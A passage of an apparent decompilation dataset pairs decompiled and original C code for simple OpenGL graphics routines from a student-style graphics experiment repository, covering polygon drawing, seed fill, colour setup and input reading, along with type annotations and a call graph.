"func4", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall drawpolygon(__int64 a1, double a2, float a3)\n{\n__int64 result; // rax\nint i; // [rsp+2Ch] [rbp-4h]\n\nfor ( i = 0; ; ++i )\n{\nresult = *(unsigned int *)(a1 + 2200);\nif ( i >= (int)result )\nbreak;\ndrawline(a2, a3);\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func4(__int64 a1, double a2, float a3)\n{\n__int64 result; // rax\nint i; // [rsp+2Ch] [rbp-4h]\n\nfor ( i = 0; ; ++i )\n{\nresult = *(unsigned int *)(a1 + 2200);\nif ( i >= (int)result )\nbreak;\ndrawline(a2, a3);\n}\nreturn result;\n}", "original_code": "void drawpolygon(struct poly *pol,struct colour c)\n{\n int i;\n for (i=0;i < pol->ver_num; ++i)\n {\n drawline(pol->edge[i],c);\n }\n}", "canonical_original_code": "void drawpolygon(struct poly *pol, struct colour c)\n{\n int i;\n for (i=0;i < pol->ver_num; ++i)\n {\n drawline(pol->edge[i],c);\n }\n}", "variable_types": [ [ "pol", "struct poly { struct point { int x; } vertex[50]; struct line { struct point p1; struct slope { int dx; } sl; } edge[50]; int ver_num; } *" ], [ "c", "struct colour { float r; }" ], [ "i", "int" ] ], "return_type": "void", "user_defined_types": [ "struct colour { float r; }", "struct poly { struct point vertex[50]; struct line edge[50]; int ver_num; }", "struct point { int x; }", "struct line { struct point p1; struct slope sl; }", "struct slope { int dx; }" ], "binary_hash": "f15dfa7fdcfc5c1217ff78864a486a605629a9df61c18813eb43bc5b4418c94b" }, { "name": "comp_line", "canonical_name": "func5", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall comp_line(const void *a1, const void *a2)\n{\nunsigned int v3; // [rsp+18h] [rbp-8h]\nunsigned int v4; // [rsp+1Ch] [rbp-4h]\n\nv4 = *((_DWORD *)a1 + 1) - *((_DWORD *)a2 + 1);\nv3 = *(_DWORD *)a1 - *(_DWORD *)a2;\nif ( v4 )\nreturn v4;\nif ( v3 )\nreturn v3;\nreturn comp_slope((_DWORD *)a1 + 6, (_DWORD *)a2 + 6);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func5(const void *a1, const void *a2)\n{\nunsigned int v3; // [rsp+18h] [rbp-8h]\nunsigned int v4; // [rsp+1Ch] [rbp-4h]\n\nv4 = *((_DWORD *)a1 + 1) - *((_DWORD *)a2 + 1);\nv3 = *(_DWORD *)a1 - *(_DWORD *)a2;\nif ( v4 )\nreturn v4;\nif ( v3 )\nreturn v3;\nreturn func0((_DWORD *)a1 + 6, (_DWORD *)a2 + 6);\n}", "original_code": "int comp_line(const void *a,const void *b)\n{\n int t1 = ((struct line *)a)->p1.y-((struct line *)b)->p1.y;\n int t2 = ((struct line *)a)->p1.x-((struct line *)b)->p1.x;\n if (t1 != 0) return t1;\n else if (t2 != 0) return t2;\n else return comp_slope(&((struct line *)a)->sl,&((struct line *)b)->sl);\n}", "canonical_original_code": "int comp_line(void *a, void *b)\n{\n int t1 = ((struct line *)a)->p1.y-((struct line *)b)->p1.y;\n int t2 = ((struct line *)a)->p1.x-((struct line *)b)->p1.x;\n if (t1 != 0) return t1;\n else if (t2 != 0) return t2;\n else return comp_slope(&((struct line *)a)->sl,&((struct line *)b)->sl);\n}", "variable_types": [ [ "a", "void *" ], [ "b", "void *" ], [ "t1", "int" ], [ "t2", "int" ] ], "return_type": "int", "user_defined_types": [ "struct line { struct point p1; struct slope sl; }", "struct point { int x; }", "struct slope { int dx; }" ], "binary_hash": "f15dfa7fdcfc5c1217ff78864a486a605629a9df61c18813eb43bc5b4418c94b" }, { "name": "in_poly", "canonical_name": "func6", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall in_poly(__int64 a1, __int64 a2, int a3, __int64 a4, __int64 a5, __int64 a6)\n{\n__int64 v6; // rdx\n__int64 v7; // rdx\n__int64 v8; // r8\n__int64 v9; // r9\n__int64 v11; // rdx\n__int64 v12; // rdx\n__int64 v13; // [rsp-20h] [rbp-70h] BYREF\n__int64 v14; // [rsp-18h] [rbp-68h]\n__int64 v15; // [rsp-10h] [rbp-60h]\n__int64 v16; // [rsp-8h] [rbp-58h]\n__int64 v17; // [rsp+8h] [rbp-48h]\nint v18; // [rsp+10h] [rbp-40h]\n__int64 v19; // [rsp+18h] [rbp-38h]\n__int64 v20; // [rsp+20h] [rbp-30h]\n__int64 v21; // [rsp+28h] [rbp-28h]\nint v22; // [rsp+30h] [rbp-20h]\nint v23; // [rsp+34h] [rbp-1Ch]\nint v24; // [rsp+48h] [rbp-8h]\nint i; // [rsp+4Ch] [rbp-4h]\n\nv19 = a1;\nv17 = a2;\nv18 = a3;\nv20 = a2;\nLODWORD(v21) = a3;\nv23 = a3;\nHIDWORD(v21) = a2 + 601;\nv22 = HIDWORD(a2) + 1;\nv24 = 0;\nfor ( i = 0; i < *(_DWORD *)(v19 + 2200); ++i )\n{\nv6 = *(_QWORD *)(v19 + 32LL * i + 608);\nv13 = *(_QWORD *)(v19 + 32LL * i + 600);\nv14 = v6;\nv7 = *(_QWORD *)(v19 + 32LL * i + 624);\nv15 = *(_QWORD *)(v19 + 32LL * i + 616);\nv16 = v7;\nif ( (int)interset(a1, &v13, v7, v19 + 32LL * i + 592, a5, a6, v20, v21) > 1 )\nreturn 1LL;\nv11 = *(_QWORD *)(v19 + 32LL * i + 608);\nv13 = *(_QWORD *)(v19 + 32LL * i + 600);\nv14 = v11;\nv12 = *(_QWORD *)(v19 + 32LL * i + 624);\nv15 = *(_QWORD *)(v19 + 32LL * i + 616);\nv16 = v12;\nif ( (unsigned int)interset(a1, &v13, v12, v19 + 32LL * i + 592, v8, v9, v20, v21) == 1 )\n++v24;\n}\nreturn v24 & 1;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func6(__int64 a1, __int64 a2, int a3, __int64 a4, __int64 a5, __int64 a6)\n{\n__int64 v6; // rdx\n__int64 v7; // rdx\n__int64 v8; // r8\n__int64 v9; // r9\n__int64 v11; // rdx\n__int64 v12; // rdx\n__int64 v13; // [rsp-20h] [rbp-70h] BYREF\n__int64 v14; // [rsp-18h] [rbp-68h]\n__int64 v15; // [rsp-10h] [rbp-60h]\n__int64 v16; // [rsp-8h] [rbp-58h]\n__int64 v17; // [rsp+8h] [rbp-48h]\nint v18; // [rsp+10h] [rbp-40h]\n__int64 v19; // [rsp+18h] [rbp-38h]\n__int64 v20; // [rsp+20h] [rbp-30h]\n__int64 v21; // [rsp+28h] [rbp-28h]\nint v22; // [rsp+30h] [rbp-20h]\nint v23; // [rsp+34h] [rbp-1Ch]\nint v24; // [rsp+48h] [rbp-8h]\nint i; // [rsp+4Ch] [rbp-4h]\n\nv19 = a1;\nv17 = a2;\nv18 = a3;\nv20 = a2;\nLODWORD(v21) = a3;\nv23 = a3;\nHIDWORD(v21) = a2 + 601;\nv22 = HIDWORD(a2) + 1;\nv24 = 0;\nfor ( i = 0; i < *(_DWORD *)(v19 + 2200); ++i )\n{\nv6 = *(_QWORD *)(v19 + 32LL * i + 608);\nv13 = *(_QWORD *)(v19 + 32LL * i + 600);\nv14 = v6;\nv7 = *(_QWORD *)(v19 + 32LL * i + 624);\nv15 = *(_QWORD *)(v19 + 32LL * i + 616);\nv16 = v7;\nif ( (int)interset(a1, &v13, v7, v19 + 32LL * i + 592, a5, a6, v20, v21) > 1 )\nreturn 1LL;\nv11 = *(_QWORD *)(v19 + 32LL * i + 608);\nv13 = *(_QWORD *)(v19 + 32LL * i + 600);\nv14 = v11;\nv12 = *(_QWORD *)(v19 + 32LL * i + 624);\nv15 = *(_QWORD *)(v19 + 32LL * i + 616);\nv16 = v12;\nif ( (unsigned int)interset(a1, &v13, v12, v19 + 32LL * i + 592, v8, v9, v20, v21) == 1 )\n++v24;\n}\nreturn v24 & 1;\n}", "original_code": "int in_poly(struct poly *pol,struct point p)\n{\n struct line l;\n l.p1 = p; l.p2 = p;\n l.p2.x += 601;\n l.p2.y += 1;\n int i,j = 0;\n for (i = 0;i < pol->ver_num; ++i)\n if (interset(l, pol->edge[i]) > 1) return 1;\n else if (interset(l, pol->edge[i]) == 1) ++j;\n return j&1;\n}", "canonical_original_code": "int in_poly(struct poly *pol, struct point p)\n{\n struct line l;\n l.p1 = p; l.p2 = p;\n l.p2.x += 601;\n l.p2.y += 1;\n int i; int j = 0;\n for (i = 0;i < pol->ver_num; ++i)\n if (interset(l, pol->edge[i]) > 1) return 1;\n else if (interset(l, pol->edge[i]) == 1) ++j;\n return j&1;\n}", "variable_types": [ [ "pol", "struct poly { struct point { int x; } vertex[50]; struct line { struct point p1; struct slope { int dx; } sl; } edge[50]; int ver_num; } *" ], [ "p", "struct point" ], [ "l", "struct line { struct point { int x; } p1; struct slope { int dx; } sl; }" ], [ "i", "int" ], [ "j", "int" ] ], "return_type": "int", "user_defined_types": [ "struct line { struct point p1; struct slope sl; }", "struct poly { struct point vertex[50]; struct line edge[50]; int ver_num; }", "struct point { int x; }", "struct slope { int dx; }" ], "binary_hash": "f15dfa7fdcfc5c1217ff78864a486a605629a9df61c18813eb43bc5b4418c94b" }, { "name": "fillseed", "canonical_name": "func7", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "void __fastcall fillseed(__int64 a1, unsigned int a2)\n{\n__int64 v2; // [rsp+14h] [rbp-2Ch]\n__int64 v3; // [rsp+14h] [rbp-2Ch]\nunsigned int v4; // [rsp+1Ch] [rbp-24h]\nvoid *ptr; // [rsp+20h] [rbp-20h]\n_DWORD *v6; // [rsp+30h] [rbp-10h]\n_DWORD *v7; // [rsp+38h] [rbp-8h]\n\nglEnd();\nif ( !(unsigned int)getred(a1, a2) )\n{\nglColor3f(1.0, 0.0, 0.0);\nv7 = malloc(0x18uLL);\n*(_QWORD *)v7 = a1;\nv7[2] = a2;\nv6 = v7;\nwhile ( v7 )\n{\nv2 = *(_QWORD *)v7;\nv4 = v7[2];\nLODWORD(v2) = *(_QWORD *)v7 + 1;\nif ( !(unsigned int)getred(v2, v4) )\nv6 = creatpl((__int64)v6, v2, v4);\nLODWORD(v2) = v2 - 2;\nif ( !(unsigned int)getred(v2, v4) )\nv6 = creatpl((__int64)v6, v2, v4);\nLODWORD(v2) = v2 + 1;\n++HIDWORD(v2);\nif ( !(unsigned int)getred(v2, v4) )\nv6 = creatpl((__int64)v6, v3, v4);\nHIDWORD(v3) -= 2;\nif ( !(unsigned int)getred(v3, v4) )\nv6 = creatpl((__int64)v6, v3, v4);\nptr = v7;\nv7 = (_DWORD *)*((_QWORD *)v7 + 2);\nfree(ptr);\n}\n}\n}\n", "canonical_decompiled_code": "void __fastcall func7(__int64 a1, unsigned int a2)\n{\n__int64 v2; // [rsp+14h] [rbp-2Ch]\n__int64 v3; // [rsp+14h] [rbp-2Ch]\nunsigned int v4; // [rsp+1Ch] [rbp-24h]\nvoid *ptr; // [rsp+20h] [rbp-20h]\n_DWORD *v6; // [rsp+30h] [rbp-10h]\n_DWORD *v7; // [rsp+38h] [rbp-8h]\n\nglEnd();\nif ( !(unsigned int)getred(a1, a2) )\n{\nglColor3f(1.0, 0.0, 0.0);\nv7 = malloc(0x18uLL);\n*(_QWORD *)v7 = a1;\nv7[2] = a2;\nv6 = v7;\nwhile ( v7 )\n{\nv2 = *(_QWORD *)v7;\nv4 = v7[2];\nLODWORD(v2) = *(_QWORD *)v7 + 1;\nif ( !(unsigned int)getred(v2, v4) )\nv6 = creatpl((__int64)v6, v2, v4);\nLODWORD(v2) = v2 - 2;\nif ( !(unsigned int)getred(v2, v4) )\nv6 = creatpl((__int64)v6, v2, v4);\nLODWORD(v2) = v2 + 1;\n++HIDWORD(v2);\nif ( !(unsigned int)getred(v2, v4) )\nv6 = creatpl((__int64)v6, v3, v4);\nHIDWORD(v3) -= 2;\nif ( !(unsigned int)getred(v3, v4) )\nv6 = creatpl((__int64)v6, v3, v4);\nptr = v7;\nv7 = (_DWORD *)*((_QWORD *)v7 + 2);\nfree(ptr);\n}\n}\n}", "original_code": "void fillseed(struct point seed)\n{\n glEnd();\n if (getred(seed)) return;\n glColor3f(1,0,0);\n struct plist *head = (struct plist *)malloc(sizeof(struct plist));\n head->p = seed;\n struct plist *tail;\n tail = head;\n int s = 0;\n while (head != ((void *)0))\n {\n struct point p;\n p = head->p;\n ++p.x;\n if (getred(p) == 0) tail = creatpl(tail,p);\n p.x -= 2;\n if (getred(p) == 0) tail = creatpl(tail,p);\n ++p.x; ++p.y;\n if (getred(p) == 0) tail = creatpl(tail,p);\n p.y-=2;\n if (getred(p) == 0) tail = creatpl(tail,p);\n struct plist *t;\n t = head;\n head = head->next;\n free(t);\n }\n}", "canonical_original_code": "void fillseed(struct point seed)\n{\n glEnd();\n if (getred(seed)) return;\n glColor3f(1,0,0);\n struct plist *head = (struct plist *)malloc(sizeof(struct plist));\n head->p = seed;\n struct plist *tail;\n tail = head;\n int s = 0;\n while (head != ((void *)0))\n {\n struct point p;\n p = head->p;\n ++p.x;\n if (getred(p) == 0) tail = creatpl(tail,p);\n p.x -= 2;\n if (getred(p) == 0) tail = creatpl(tail,p);\n ++p.x; ++p.y;\n if (getred(p) == 0) tail = creatpl(tail,p);\n p.y-=2;\n if (getred(p) == 0) tail = creatpl(tail,p);\n struct plist *t;\n t = head;\n head = head->next;\n free(t);\n }\n}", "variable_types": [ [ "seed", "struct point { int x; }" ], [ "head", "struct plist { struct point { int x; } p; struct plist *next; } *" ], [ "tail", "struct plist { struct point { int x; } p; struct plist *next; } *" ], [ "s", "int" ], [ "p", "struct point { int x; }" ], [ "t", "struct plist { struct point { int x; } p; struct plist *next; } *" ] ], "return_type": "void", "user_defined_types": [ "struct point { int x; }", "struct plist { struct point p; struct plist *next; }" ], "binary_hash": "f15dfa7fdcfc5c1217ff78864a486a605629a9df61c18813eb43bc5b4418c94b" } ]
f3edd88cb64abd6f7ef88094c15e4c3d52748bdea677279990a5418fc28ce4cc
kidxin/Graphics-Experiment
[ [ "setcolour", "->" ], [ "getred", "->" ], [ "getgreen", "->" ], [ "getblue", "->" ], [ "min", "->", "onseg" ], [ "max", "->", "onseg" ], [ "sqr", "->", "dis" ], [ "swap", "->", "drawline", "draw8p" ], [ "readint", "->", "readpoint", "readplane", "readcolor" ], [ "readpoint", "->", "readint", "readline" ], [ "readline", "->", "readpoint" ], [ "readplane", "->", "readint" ], [ "readcolor", "->", "readint" ], [ "eq_point", "->" ], [ "cal_sl", "->" ], [ "delta_x", "->" ], [ "test_line", "->" ], [ "test_point", "->" ], [ "direction", "->", "interset" ], [ "onseg", "->", "min", "max", "interset" ], [ "dis", "->", "sqr" ], [ "interset", "->", "direction", "onseg" ], [ "intersection", "->" ], [ "drawline", "->", "swap" ], [ "draw4p", "->", "draw8p" ], [ "draw8p", "->", "draw4p", "swap" ] ]
[]
[ { "name": "setcolour", "canonical_name": "func0", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "void setcolour()\n{\nblack = 0LL;\n*((_DWORD *)&black + 2) = 0;\nwhite = 0x3F8000003F800000LL;\n*((_DWORD *)&white + 2) = 1065353216;\nred = 1065353216LL;\n*((_DWORD *)&red + 2) = 0;\ngreen = 0x3F80000000000000LL;\n*((_DWORD *)&green + 2) = 0;\nblue = 0LL;\n*((_DWORD *)&blue + 2) = 1065353216;\nyellow = 0x3F8000003F800000LL;\n*((_DWORD *)&yellow + 2) = 0;\nindigo = 0x3F80000000000000LL;\n*((_DWORD *)&indigo + 2) = 1065353216;\nmagenta = 1065353216LL;\n*((_DWORD *)&magenta + 2) = 1065353216;\n}\n", "canonical_decompiled_code": "void func0()\n{\nblack = 0LL;\n*((_DWORD *)&black + 2) = 0;\nwhite = 0x3F8000003F800000LL;\n*((_DWORD *)&white + 2) = 1065353216;\nred = 1065353216LL;\n*((_DWORD *)&red + 2) = 0;\ngreen = 0x3F80000000000000LL;\n*((_DWORD *)&green + 2) = 0;\nblue = 0LL;\n*((_DWORD *)&blue + 2) = 1065353216;\nyellow = 0x3F8000003F800000LL;\n*((_DWORD *)&yellow + 2) = 0;\nindigo = 0x3F80000000000000LL;\n*((_DWORD *)&indigo + 2) = 1065353216;\nmagenta = 1065353216LL;\n*((_DWORD *)&magenta + 2) = 1065353216;\n}", "original_code": "void setcolour()\n{\n black.r = 0; black.g = 0; black.b = 0;\n white.r = 1; white.g = 1; white.b = 1;\n red.r = 1; red.g = 0; red.b = 0;\n green.r = 0; green.g = 1; green.b = 0;\n blue.r = 0; blue.g = 0; blue.b = 1;\n yellow.r = 1; yellow.g = 1; yellow.b = 0;\n indigo.r = 0; indigo.g = 1; indigo.b = 1;\n magenta.r = 1; magenta.g = 0; magenta.b = 1;\n}", "canonical_original_code": "void setcolour()\n{\n black.r = 0; black.g = 0; black.b = 0;\n white.r = 1; white.g = 1; white.b = 1;\n red.r = 1; red.g = 0; red.b = 0;\n green.r = 0; green.g = 1; green.b = 0;\n blue.r = 0; blue.g = 0; blue.b = 1;\n yellow.r = 1; yellow.g = 1; yellow.b = 0;\n indigo.r = 0; indigo.g = 1; indigo.b = 1;\n magenta.r = 1; magenta.g = 0; magenta.b = 1;\n}", "variable_types": [], "return_type": "void", "user_defined_types": [], "binary_hash": "f3edd88cb64abd6f7ef88094c15e4c3d52748bdea677279990a5418fc28ce4cc" }, { "name": "getred", "canonical_name": "func1", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall getred(__int64 a1)\n{\nunsigned int v2; // [rsp+24h] [rbp-4h] BYREF\n\nglReadPixels((unsigned int)(a1 + 300), (unsigned int)(HIDWORD(a1) + 300), 1LL, 1LL, 6403LL, 5124LL, &v2);\nreturn v2;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(__int64 a1)\n{\nunsigned int v2; // [rsp+24h] [rbp-4h] BYREF\n\nglReadPixels((unsigned int)(a1 + 300), (unsigned int)(HIDWORD(a1) + 300), 1LL, 1LL, 6403LL, 5124LL, &v2);\nreturn v2;\n}", "original_code": "int getred(struct point p)\n{\n GLint pixel;\n glReadPixels(p.x + 300, p.y + 300, 1, 1, 0x1903, 0x1404, &pixel);\n return pixel;\n}", "canonical_original_code": "int getred(struct point p)\n{\n int pixel;\n glReadPixels(p.x + 300, p.y + 300, 1, 1, 0x1903, 0x1404, &pixel);\n return pixel;\n}", "variable_types": [ [ "p", "struct point { int x; }" ], [ "pixel", "int" ] ], "return_type": "int", "user_defined_types": [ "struct point { int x; }" ], "binary_hash": "f3edd88cb64abd6f7ef88094c15e4c3d52748bdea677279990a5418fc28ce4cc" }, { "name": "getgreen", "canonical_name": "func2", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall getgreen(__int64 a1)\n{\nunsigned int v2; // [rsp+24h] [rbp-4h] BYREF\n\nglReadPixels((unsigned int)(a1 + 300), (unsigned int)(HIDWORD(a1) + 300), 1LL, 1LL, 6404LL, 5124LL, &v2);\nreturn v2;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func2(__int64 a1)\n{\nunsigned int v2; // [rsp+24h] [rbp-4h] BYREF\n\nglReadPixels((unsigned int)(a1 + 300), (unsigned int)(HIDWORD(a1) + 300), 1LL, 1LL, 6404LL, 5124LL, &v2);\nreturn v2;\n}", "original_code": "int getgreen(struct point p)\n{\n GLint pixel;\n glReadPixels(p.x + 300, p.y + 300, 1, 1, 0x1904, 0x1404, &pixel);\n return pixel;\n}", "canonical_original_code": "int getgreen(struct point p)\n{\n int pixel;\n glReadPixels(p.x + 300, p.y + 300, 1, 1, 0x1904, 0x1404, &pixel);\n return pixel;\n}", "variable_types": [ [ "p", "struct point { int x; }" ], [ "pixel", "int" ] ], "return_type": "int", "user_defined_types": [ "struct point { int x; }" ], "binary_hash": "f3edd88cb64abd6f7ef88094c15e4c3d52748bdea677279990a5418fc28ce4cc" }, { "name": "getblue", "canonical_name": "func3", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall getblue(__int64 a1)\n{\nunsigned int v2; // [rsp+24h] [rbp-4h] BYREF\n\nglReadPixels((unsigned int)(a1 + 300), (unsigned int)(HIDWORD(a1) + 300), 1LL, 1LL, 6405LL, 5124LL, &v2);\nreturn v2;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func3(__int64 a1)\n{\nunsigned int v2; // [rsp+24h] [rbp-4h] BYREF\n\nglReadPixels((unsigned int)(a1 + 300), (unsigned int)(HIDWORD(a1) + 300), 1LL, 1LL, 6405LL, 5124LL, &v2);\nreturn v2;\n}", "original_code": "int getblue(struct point p)\n{\n GLint pixel;\n glReadPixels(p.x + 300, p.y + 300, 1, 1, 0x1905, 0x1404, &pixel);\n return pixel;\n}", "canonical_original_code": "int getblue(struct point p)\n{\n int pixel;\n glReadPixels(p.x + 300, p.y + 300, 1, 1, 0x1905, 0x1404, &pixel);\n return pixel;\n}", "variable_types": [ [ "p", "struct point { int x; }" ], [ "pixel", "int" ] ], "return_type": "int", "user_defined_types": [ "struct point { int x; }" ], "binary_hash": "f3edd88cb64abd6f7ef88094c15e4c3d52748bdea677279990a5418fc28ce4cc" }, { "name": "min", "canonical_name": "func4", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall min(double a1, double a2)\n{\nif ( a2 <= a1 )\na1 = a2;\nreturn *(_QWORD *)&a1;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func4(double a1, double a2)\n{\nif ( a2 <= a1 )\na1 = a2;\nreturn *(_QWORD *)&a1;\n}", "original_code": "double min(double x,double y)\n{\n if (x < y) return x;\n else return y;\n}", "canonical_original_code": "double min(double x, double y)\n{\n if (x < y) return x;\n else return y;\n}", "variable_types": [ [ "x", "double" ], [ "y", "double" ] ], "return_type": "double", "user_defined_types": [], "binary_hash": "f3edd88cb64abd6f7ef88094c15e4c3d52748bdea677279990a5418fc28ce4cc" }, { "name": "max", "canonical_name": "func5", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall max(double a1, double a2)\n{\nif ( a1 <= a2 )\na1 = a2;\nreturn *(_QWORD *)&a1;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func5(double a1, double a2)\n{\nif ( a1 <= a2 )\na1 = a2;\nreturn *(_QWORD *)&a1;\n}", "original_code": "double max(double x,double y)\n{\n if (x > y) return x;\n return y;\n}", "canonical_original_code": "double max(double x, double y)\n{\n if (x > y) return x;\n return y;\n}", "variable_types": [ [ "x", "double" ], [ "y", "double" ] ], "return_type": "double", "user_defined_types": [], "binary_hash": "f3edd88cb64abd6f7ef88094c15e4c3d52748bdea677279990a5418fc28ce4cc" }, { "name": "sqr", "canonical_name": "func6", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "float __fastcall sqr(float a1)\n{\nreturn a1 * a1;\n}\n", "canonical_decompiled_code": "float __fastcall func6(float a1)\n{\nreturn a1 * a1;\n}", "original_code": "float sqr(float x)\n{\n return x*x;\n}", "canonical_original_code": "float sqr(float x)\n{\n return x*x;\n}", "variable_types": [ [ "x", "float" ] ], "return_type": "float", "user_defined_types": [], "binary_hash": "f3edd88cb64abd6f7ef88094c15e4c3d52748bdea677279990a5418fc28ce4cc" }, { "name": "swap", "canonical_name": "func7", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "int *__fastcall swap(int *a1, int *a2)\n{\nint *result; // rax\nint v3; // [rsp+1Ch] [rbp-4h]\n\nv3 = *a1;\n*a1 = *a2;\nresult = a2;\n*a2 = v3;\nreturn result;\n}\n", "canonical_decompiled_code": "int *__fastcall func7(int *a1, int *a2)\n{\nint *result; // rax\nint v3; // [rsp+1Ch] [rbp-4h]\n\nv3 = *a1;\n*a1 = *a2;\nresult = a2;\n*a2 = v3;\nreturn result;\n}", "original_code": "void swap(int *x,int *y)\n{\n int i=*x;\n *x=*y;\n *y=i;\n}", "canonical_original_code": "void swap(int *x, int *y)\n{\n int i = *x;\n *x=*y;\n *y=i;\n}", "variable_types": [ [ "x", "int *" ], [ "y", "int *" ], [ "i", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "f3edd88cb64abd6f7ef88094c15e4c3d52748bdea677279990a5418fc28ce4cc" }, { "name": "readint", "canonical_name": "func8", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall readint(__int64 a1)\n{\nreturn _isoc99_fscanf(fin, &unk_F08, a1);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func8(__int64 a1)\n{\nreturn _isoc99_fscanf(fin, &unk_F08, a1);\n}", "original_code": "void readint(int *i)\n{\n fscanf(fin,\"%d\",i);\n}", "canonical_original_code": "void readint(int *i)\n{\n fscanf(fin,\"%d\",i);\n}", "variable_types": [ [ "i", "int *" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "f3edd88cb64abd6f7ef88094c15e4c3d52748bdea677279990a5418fc28ce4cc" }, { "name": "readpoint", "canonical_name": "func9", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 readpoint()\n{\n__int64 v1; // [rsp+18h] [rbp-18h] BYREF\n\nreadint((__int64)&v1);\nreadint((__int64)&v1 + 4);\nreturn v1;\n}\n", "canonical_decompiled_code": "__int64 func9()\n{\n__int64 v1; // [rsp+18h] [rbp-18h] BYREF\n\nfunc8((__int64)&v1);\nfunc8((__int64)&v1 + 4);\nreturn v1;\n}", "original_code": "struct point readpoint()\n{\n struct point p;\n readint(&p.x);\n readint(&p.y);\n return p;\n}", "canonical_original_code": "struct point readpoint()\n{\n struct point p;\n readint(&p.x);\n readint(&p.y);\n return p;\n}", "variable_types": [ [ "p", "struct point { int x; }" ] ], "return_type": "struct point { int x; }", "user_defined_types": [ "struct point { int x; }" ], "binary_hash": "f3edd88cb64abd6f7ef88094c15e4c3d52748bdea677279990a5418fc28ce4cc" }, { "name": "readline", "canonical_name": "func10", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall readline(__int64 a1)\n{\nint v1; // edx\nint v2; // edx\n__int64 v4; // [rsp+10h] [rbp-20h]\n__int128 v5; // [rsp+18h] [rbp-18h]\n__int64 v6; // [rsp+28h] [rbp-8h]\n\nv4 = readpoint();\nLODWORD(v5) = v1;\n*(_QWORD *)((char *)&v5 + 4) = readpoint();\nHIDWORD(v5) = v2;\n*(_QWORD *)a1 = v4;\n*(_OWORD *)(a1 + 8) = v5;\n*(_QWORD *)(a1 + 24) = v6;\nreturn a1;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func10(__int64 a1)\n{\nint v1; // edx\nint v2; // edx\n__int64 v4; // [rsp+10h] [rbp-20h]\n__int128 v5; // [rsp+18h] [rbp-18h]\n__int64 v6; // [rsp+28h] [rbp-8h]\n\nv4 = func9();\nLODWORD(v5) = v1;\n*(_QWORD *)((char *)&v5 + 4) = func9();\nHIDWORD(v5) = v2;\n*(_QWORD *)a1 = v4;\n*(_OWORD *)(a1 + 8) = v5;\n*(_QWORD *)(a1 + 24) = v6;\nreturn a1;\n}", "original_code": "struct line readline()\n{\n struct line l;\n l.p1=readpoint();\n l.p2=readpoint();\n return l;\n}", "canonical_original_code": "struct line readline()\n{\n struct line l;\n l.p1=readpoint();\n l.p2=readpoint();\n return l;\n}", "variable_types": [ [ "l", "struct line { struct point { int x; } p1; struct slope { int dx; } sl; }" ] ], "return_type": "struct line { struct point { int x; } p1; struct slope { int dx; } sl; }", "user_defined_types": [ "struct line { struct point p1; struct slope sl; }", "struct point { int x; }", "struct slope { int dx; }" ], "binary_hash": "f3edd88cb64abd6f7ef88094c15e4c3d52748bdea677279990a5418fc28ce4cc" }, { "name": "readplane", "canonical_name": "func11", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 readplane()\n{\n__int64 v1; // [rsp+0h] [rbp-10h] BYREF\n__int64 v2; // [rsp+8h] [rbp-8h] BYREF\n\nreadint((__int64)&v1);\nreadint((__int64)&v1 + 4);\nreadint((__int64)&v2);\nreadint((__int64)&v2 + 4);\nreturn v1;\n}\n", "canonical_decompiled_code": "__int64 func11()\n{\n__int64 v1; // [rsp+0h] [rbp-10h] BYREF\n__int64 v2; // [rsp+8h] [rbp-8h] BYREF\n\nfunc8((__int64)&v1);\nfunc8((__int64)&v1 + 4);\nfunc8((__int64)&v2);\nfunc8((__int64)&v2 + 4);\nreturn v1;\n}", "original_code": "struct plane readplane()\n{\n struct plane pl;\n readint(&pl.x);\n readint(&pl.y);\n readint(&pl.z);\n readint(&pl.d);\n return pl;\n}", "canonical_original_code": "struct plane readplane()\n{\n struct plane pl;\n readint(&pl.x);\n readint(&pl.y);\n readint(&pl.z);\n readint(&pl.d);\n return pl;\n}", "variable_types": [ [ "pl", "struct plane { int x; }" ] ], "return_type": "struct plane { int x; }", "user_defined_types": [ "struct plane { int x; }" ], "binary_hash": "f3edd88cb64abd6f7ef88094c15e4c3d52748bdea677279990a5418fc28ce4cc" }, { "name": "readcolor", "canonical_name": "func12", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "double readcolor()\n{\nint v1; // [rsp+10h] [rbp-10h] BYREF\n__int64 v2; // [rsp+14h] [rbp-Ch]\nint v3; // [rsp+1Ch] [rbp-4h]\n\nreadint((__int64)&v1);\nswitch ( v1 )\n{\ncase 0:\nv2 = black;\nv3 = *((_DWORD *)&black + 2);\nbreak;\ncase 1:\nv2 = white;\nv3 = *((_DWORD *)&white + 2);\nbreak;\ncase 2:\nv2 = red;\nv3 = *((_DWORD *)&red + 2);\nbreak;\ncase 3:\nv2 = green;\nv3 = *((_DWORD *)&green + 2);\nbreak;\ncase 4:\nv2 = blue;\nv3 = *((_DWORD *)&blue + 2);\nbreak;\ncase 5:\nv2 = yellow;\nv3 = *((_DWORD *)&yellow + 2);\nbreak;\ncase 6:\nv2 = indigo;\nv3 = *((_DWORD *)&indigo + 